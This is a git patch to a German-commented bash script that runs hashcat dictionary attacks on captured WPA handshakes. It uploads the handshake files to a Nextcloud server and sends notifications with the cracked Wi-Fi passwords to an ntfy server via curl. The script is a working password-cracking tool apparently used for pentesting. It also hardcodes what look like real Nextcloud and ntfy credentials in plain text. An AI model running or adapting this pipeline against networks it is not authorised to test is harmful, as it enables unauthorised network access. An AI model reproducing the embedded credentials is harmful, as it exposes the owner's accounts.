From cafe58aecf5877cadacce9f7013d5c6eb6d6fae7 Mon Sep 17 00:00:00 2001 From: Ratatoskr Date: Fri, 14 Jun 2024 20:33:47 +0200 Subject: [PATCH] Refactored cracking process in crack_handshakes.sh - Updated paths and variables for improved organization and clarity. - Changed wordlist to a larger one located at /media/michaelis/Games/Wordlists/fucking_big_WPA.txt. - Modified session_file path to /root/.hashcat/sessions/hashcat.restore for consistency. - Added functions for uploading handshakes to Nextcloud and processing individual handshakes. - Introduced notifications for starting and cracking handshakes using curl commands. - Integrated hashcat session restore functionality with notification upon restoration. --- crack_handshakes.sh | 119 +++++++++++++++++++++++++++----------------- 1 file changed, 74 insertions(+), 45 deletions(-) diff --git a/crack_handshakes.sh b/crack_handshakes.sh index 56f8a9b..69df71c 100644 --- a/crack_handshakes.sh +++ b/crack_handshakes.sh @@ -1,27 +1,89 @@ #!/bin/bash # Verzeichnisse definieren -handshake_dir="/root/handshakes/test/" -wordlist="/media/michaelis/Games/Wordlists/wpa.txt" +handshake_dir="/root/handshakes/" +wordlist="/media/michaelis/Games/Wordlists/fucking_big_WPA.txt" output_dir="$handshake_dir/output" cracked_dir="$handshake_dir/cracked" not_cracked_dir="$handshake_dir/not_cracked" -session_file="$handshake_dir/hashcat.restore" +session_file="/root/.hashcat/sessions/hashcat.restore" # Nextcloud WebDAV-Einstellungen -nextcloud_url="https://cloud.michaelis.digital/remote.php/dav/files/Michaelis/PenTest/grabz/" +nextcloud_url="https://cloud.michaelis.digital/remote.php/dav/files/Michaelis/PenTest/grabz/Handshakes/" username="Michaelis" password="BD2KS-izswe-gGBJA-Pas9G-M8tKR" -# Prüfen, ob eine Hashcat-Sitzung wiederhergestellt werden kann -if [ -f "$session_file" ]; then - echo "Eine Hashcat-Sitzung wird wiederhergestellt..." - hashcat --restore "$session_file" -fi - # Erstelle Ausgabe- und Ergebnisordner, falls nicht vorhanden mkdir -p "$output_dir" "$cracked_dir" "$not_cracked_dir" +# Funktion zum rekursiven Hochladen +upload_to_nextcloud() { + local directory=$1 + local base_url=$2 + + find "$directory" -type d | while read dir; do + # Entferne das Basisverzeichnis aus dem Pfad und erstelle das Verzeichnis auf dem Server + remote_dir="${dir#$directory}" + curl -u "$username:$password" -X MKCOL "$base_url$remote_dir" + done + + find "$directory" -type f | while read file; do + # Entferne das Basisverzeichnis aus dem Pfad und lade die Datei hoch + remote_file="${file#$directory}" + curl -u "$username:$password" -T "$file" "$base_url$remote_file" + done +} + +# Funktion zum Bearbeiten eines einzelnen Handshakes +process_handshake() { + local handshake=$1 + local handshake_filename=$(basename "$handshake") + local network_name="${handshake_filename%.22000}" + + # Benachrichtigung: Neuer Handshake gestartet + curl -d "Neuer Handshake gestartet: $network_name" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali + + # Hochladen des Handshake-Verzeichnisses auf Nextcloud + upload_to_nextcloud "$handshake_dir" "$nextcloud_url" + + # Handshake knacken + hashcat -m 22000 -a 0 -o "$output_dir/cracked.txt" "$handshake" "$wordlist" -w 3 --status + + # Überprüfen des Exit-Codes von Hashcat + if grep -q "$network_name" "$output_dir/cracked.txt"; then + # Passwort erfolgreich geknackt + cracked_password=$(grep "$network_name" "$output_dir/cracked.txt" | cut -d: -f2) + echo "Netzwerk: $network_name, Passwort: $cracked_password" >> "$output_dir/results.txt" + mv "$handshake" "$cracked_dir/" + echo "Passwort für $network_name gefunden" + + # Benachrichtigung: Handshake geknackt + curl -d "Passwort für $network_name gefunden: $cracked_password" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali + else + # Passwort nicht gefunden + echo "Passwort für $network_name nicht gefunden" + mv "$handshake" "$not_cracked_dir/" + + # Benachrichtigung: Handshake nicht geknackt + curl -d "Passwort für $network_name nicht gefunden" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali + fi +} + +# Funktion zum Überprüfen und Wiederherstellen einer Hashcat-Sitzung +restore_hashcat_session() { + if [ -f "$session_file" ]; then + echo "Eine Hashcat-Sitzung wird wiederhergestellt..." + curl -d "Hashcat Sitzung wiederhergestellt" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali + + hashcat --restore "$session_file" + # Nach Wiederherstellung der Sitzung sicherstellen, dass die Handshake-Datei richtig eingeordnet wird + for handshake in "$handshake_dir"/*.22000; do + process_handshake "$handshake" + done + fi +} + +# Funktion zum Durchgehen aller Handshakes bruteforce_handshake() { local total_handshakes=$(find "$handshake_dir" -maxdepth 1 -type f -name '*.22000' | wc -l) local current_handshake=0 @@ -30,50 +92,17 @@ bruteforce_handshake() { for handshake in "$handshake_dir"/*.22000; do ((current_handshake++)) handshake_filename=$(basename "$handshake") - network_name="${handshake_filename%.22000}" # Überspringe Handshakes, die bereits bearbeitet wurden if [ -f "$cracked_dir/$handshake_filename" ] || [ -f "$not_cracked_dir/$handshake_filename" ]; then echo "Handshake $handshake_filename wurde bereits bearbeitet, überspringen..." continue - else - curl -H "Priority:High" -d "Alle Handshakes bearbeitet" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali - shutdown -h now fi - # Benachrichtigung: Neuer Handshake gestartet - curl -H "Priority:High" -d "Neuer Handshake gestartet: $network_name ($current_handshake von $total_handshakes)" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali - - # Hochladen des Verzeichnisses auf Nextcloud - curl -X PUT -u "$username:$password" --data-binary @"$handshake_dir" "$nextcloud_url" - - # Variable zum Überprüfen, ob der Handshake geknackt wurde - local cracked=false - - # Handshake knacken - hashcat -m 22000 -a 0 -o "$output_dir/cracked.txt" "$handshake" "$wordlist" -w 3 --status - - # Überprüfen, ob das Passwort gefunden wurde - if grep -q "$network_name" "$output_dir/cracked.txt"; then - echo "Passwort für $network_name gefunden" - echo "Netzwerk: $network_name, Passwort: $(grep "$network_name" "$output_dir/cracked.txt" | cut -d: -f2)" >> "$output_dir/results.txt" - mv "$handshake" "$cracked_dir/" - cracked=true - - # Benachrichtigung: Handshake geknackt - curl -H "Priority:High" -d "Passwort für $network_name gefunden: $(grep "$network_name" "$output_dir/cracked.txt" | cut -d: -f2)" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali - fi - - # Wenn der Handshake nicht geknackt wurde, verschiebe ihn in den not_cracked Ordner - if [ "$cracked" = false ]; then - echo "Passwort für $network_name nicht gefunden" - mv "$handshake" "$not_cracked_dir/" - - # Benachrichtigung: Handshake nicht geknackt - curl -H "Priority:High" -d "Passwort für $network_name nicht gefunden" -u "Michaelis:u5ptufUFuDL6q4yEcSN3iqas5gtXNkN77Lx3cy3oX8UoSgFWdifYy9FVopv2Zwtu" https://ntfy.michaelis.digital/hashkali - fi + process_handshake "$handshake" done } # Main +restore_hashcat_session bruteforce_handshake